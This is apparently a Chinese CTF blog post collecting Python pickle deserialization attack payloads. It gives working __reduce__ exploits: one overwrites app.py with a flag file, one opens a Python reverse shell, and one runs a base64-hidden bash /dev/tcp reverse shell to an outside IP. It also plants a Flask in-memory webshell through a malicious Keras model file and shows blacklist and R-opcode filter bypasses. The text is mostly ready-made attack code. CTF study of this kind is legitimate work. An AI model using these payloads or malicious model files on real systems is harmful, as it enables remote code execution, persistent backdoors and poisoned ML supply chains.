pickle反序列化
pickle反序列化
python的很多危险来源都是这个pickle pickle时用来序列化和反序列化的
payloads
0 利用cp 覆盖app.py
import pickle
import base64
import subprocess
class A():
def __reduce__(self)://__reduce__方法类似于php的wakeup
return (subprocess.check_output, (["cp","/flag","/app/app.py"],))
a=A()
b=pickle.dumps(a)
with open("1.png", "wb") as f:
pickle.dump(a, f)
print(base64.b64encode(b))
1 反弹shell
import pickle
import os
import base64
class A(object):
def __reduce__(self):
a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
a = A()
pickle_a = pickle.dumps(a)
print(base64.b64encode(pickle_a).decode())
2 内存马(题目来自于d^3CTF的ai模型安全)
在网上找到相关文章,提示使用pickle反序列化: https://huntr.com/bounties/a3ea601c-f904-4e06-a03e-deb9ff2aa8be
import pickle
import zipfile
import json
payload = """
[ __import__('time').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for c4tchm3 in [ lambda : __import__('os').popen(jinja_globals["request"].args.get("cmd", "id")).read() ] if [ app.__dict__.update({'_got_first_request':False}), app.add_url_rule("/c4tchm3", endpoint="c4tchm3", view_func=c4tchm3) ] ]
"""
__globals__是Python 函数的属性,返回该函数的全局命名空间(包含所有可访问的变量、模块等)
在 Jinja2(以及 Flask 的模板系统)中,`jinja_env.globals` 是一个**字典**,用于定义**所有模板均可访问的全局变量、函数或对象** 这里用来获取request
# malicious weights file
class MaliciousPickle:
def __reduce__(self):
return (eval, (payload,))
mal = pickle.dumps(MaliciousPickle())
config = {
"class_name": "InputLayer",
"config": {"batch_shape": [], "dtype": "int64", "name": "encoder_inputs"},
"inbound_nodes": [],
"module": "keras.layers",
"name": "input_layer",
}
with open("config.json", "w") as f:
json.dump(config, f, indent=2)
with open("model.weights.npz", "wb") as f:
f.write(mal)
with zipfile.ZipFile("mal.keras", "w") as zipf:
zipf.write("model.weights.npz")
zipf.write("config.json")
3 bash反弹
import pickle
import base64
import subprocess
class Exploit:
def __reduce__(self):
# 替换成你的 Base64 编码反弹 Shell 命令
encoded_cmd = "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTIuNzQuODkuNTgvMzYyMDYgIDA+JjE="
return (
subprocess.Popen,
(["bash", "-c", f"echo {encoded_cmd} | base64 -d | bash"],),
)
# 生成 Payload
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
因为bash反弹的符号可能会被认识成阻断符号 所以用base加密一下
绕过(奇技淫巧)
有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python's-Revenge。给了好长好长一串黑名单:
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
可惜platform.popen()不在名单里,它可以做到类似system的功能。这题死于黑名单有漏网之鱼。
另外,还有一个解(估计是出题人的预期解),那就是利用map来干这件事:
class Exploit(object):
def __reduce__(self):
return map,(os.system,["ls"])
总之,黑名单不可取。要禁止reduce这一套方法,最稳妥的方式是禁止掉R这个指令码。
全局变量包含:c指令码的妙用
有这么一道题,彻底过滤了R指令码(写法是:只要见到payload里面有R这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应。

目标是取得well done
不能用R指令码了,不过没关系。还记得我们的c指令码吗?它专门用来获取一个全局变量。我们先弄一个正常的Student来看看序列化之后的效果:

如何用c指令来换掉这两个字符串呢?以name的为例,只需要把硬编码的rxz改成从blue引入的name,写成指令就是:cblue\nname\n。把用于编码rxz的X\x03\x00\x00\x00rxz替换成我们的这个global指令,来看看改造之后的效果:

load一下,发现真的引入了blue里面的变量
把这个payload进行base64编码之后传进题目,得到well done。

顺带一提,由于pickle导出的字符串里面有很多的不可见字符,所以一般都经过base64编码之后传输。

浙公网安备 33010602011771号